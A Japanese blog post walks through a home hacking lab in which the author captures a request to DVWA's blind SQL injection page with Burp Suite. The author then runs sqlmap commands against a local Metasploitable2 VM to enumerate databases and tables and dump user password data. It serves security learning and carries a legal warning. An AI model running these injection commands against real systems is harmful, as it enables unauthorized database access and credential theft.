LoginSignup
0
1

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング3 BurpSuiteを利用したブラインドSQLインジェクション

Last updated at Posted at 2022-05-27

はじめに

「ハッキング・ラボのつくりかた」p.612-623を参考にして、KaliLinux2022.1で検証してみる記事です。
DVWAを利用していますが、同書のやり方通りでは、うまく行かなかったので、Metasploitable2のDVWAを利用してます。(詳細は前回を参照のこと)

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

ブラインドSQLインジェクション

応答ページから情報を直接奪わずに、SQLに対しての応答ページの違いから情報を奪う攻撃。
この攻撃では、BurpSuiteとsqlmapというツールを使用する。

DVWAで実験する

DVWAのページのメニュー「SQL Injection(Blind)」をクリックする。
事前に、いろいろな数値、文字値を入れて、挙動を確かめる。

Firefoxのプロキシ設定

URL入力欄に"about:preferences"と入力して、一番下の「ネットワーク設定」の「接続設定」をクリックする。「手動でプロキシを設定する」を選択して、全ての欄を"127.0.0.1"と設定、ポート番号は"9500"と設定する。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_21_56_45_プロ棋士の設定.png

Burpの起動

ランチャーから「BurpSuite」を起動する。
メッセージ画面は、「temporary project」→「Use Burp defaults」と選択する。
メイン画面が表示されることを確認。
メイン画面
VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_18_35_22_burp3_proxysetting.png
「Proxy」タブの「Options」タブからBurpのポート番号を8080から9500に変更する。

HTTP要求の補足

「Proxy」タブの「Intercept」タブを選択する。
Intercept内では、http通信を一時停止させて、内容を確認・編集させたり、通信を遮断させたりする。
「Intercept is on」にしておいて、FirefoxのURL欄に"http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"と入力してアクセスする。
http要求を補足できたら、「Action」ボタンから「Copy to file」を選んで、任意のフォルダにテキストファイルとして保存する。保存が完了したら、「Intercept is off」にする。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_18_37_52_burp5.png

保存したテキストファイル"dvwa_sql_header.txt"のCookieの情報を控えておく。

dvwa_sql_header.txt
GET /dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54
Upgrade-Insecure-Requests: 1

Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54

sqlmapを実行する

URLとcookieを指定してsqlmapを実行する

sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54"

上記のコマンドを実行すると、処理の途中でいくつか質問される。

GET parameter 'id' appear to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'.Do you want to skip test payloads specific for other DBMSes? [y/n]

私訳:「GET パラメータ 'id' は 'MySQL >= 5.0.12 であり、 時間ベースのブラインド (クエリ SLEEP)'の脆弱性のように見えます。バックエンドの DBMS は 'MySQL' のようです。他のDBMSに固有のテストペイロードをスキップしますか?。」
MySQLに対して攻撃を掛けるので、yを選択。

for the remaining tests,do you want to include all tests for 'MySQL' extending provided level(1) and risk(1) values?

私訳:「残りテストについては、提供されたlevel(1)およびrisk(1)の値を拡張する’MySQL’のすべてのテストを含めますか?」

正直、意味がよくわからなかった。「all tests」とあるので、とりあえず yを選択した。

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable.Do you want to keep testing the others(if any)?

私訳:「Getパラメータ'id'は、 'Generic UNION query (NULL) - 1 to 20 columns'。 インジェクタブルなGETパラメタ'id'は脆弱性があります。もし、他に何かしらの脆弱性があれば、テストを継続しますか?」

これも、よくわからない。とりあえず、yを選択した。

it is recommanded to perform only basic UNION tests if there is not at least one other (potential) technique found.Do you want to reduce the number of requests?
私訳:「もし、少なくとも1つの他の(潜在的な)テクニックが見つからない場合、basicUNIONテストのみ実行することをオススメします。リクエストの数を削減しますか?」

yを選択した。

結果、同書p.620にある出力結果とは違う出力結果が出た。
でも、このまま次に進む。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_11_23_39_sqlblindInjection3.png

--dbsオプションを指定して、DBを表示する

sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" --dbs

DB一覧が表示された。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_11_28_59_sqlblindinjectionDB.png

--tablesオプションを指定して、dvwaのDB内のテーブルを表示する

目的のDBであるdvwaのテーブルを取得する。

sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa --tables

-Dオプションで、データベースを指定した。
dvwaDB内のテーブル一覧が表示される。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_12_30_20_sqlblindinjection_tables.png

--columnオプションを指定して、usersテーブルの列名を表示する

sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users --column

-Tオプションで、テーブルを指定した。
usersテーブルの列名が表示される。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_12_31_10_sqlblindinjection_users.png

パスワードを解析する

sqlmapで--dumpオプションをつけることで、パスワード解析が可能。途中の質問されるが、すべてEnterもしくはYで答える。

sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users -C  user,password --dump

-Cオプションで、カラム(列)を指定した。

VirtualBox_kali-linux-2022.1-virtualbox-amd64_27_05_2022_13_15_10_sqlblindinjection_passwordhacked.png

sqlmapコマンドを実行するなかで、期待通りにDB、テーブル、カラムが出力されないことがありました。そういった時は、Firefoxのdvwaへのアクセスがタイムアウトしているようなので、再度dwvaへログインし直すとうまく動きました。

おわり

今回から、事前に注意事項を出すことにしました。既出の記事を編集して、注意事項を出します。
sqlmapコマンドの質問攻めには難渋しました。なにぶん、はじめてなもので。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1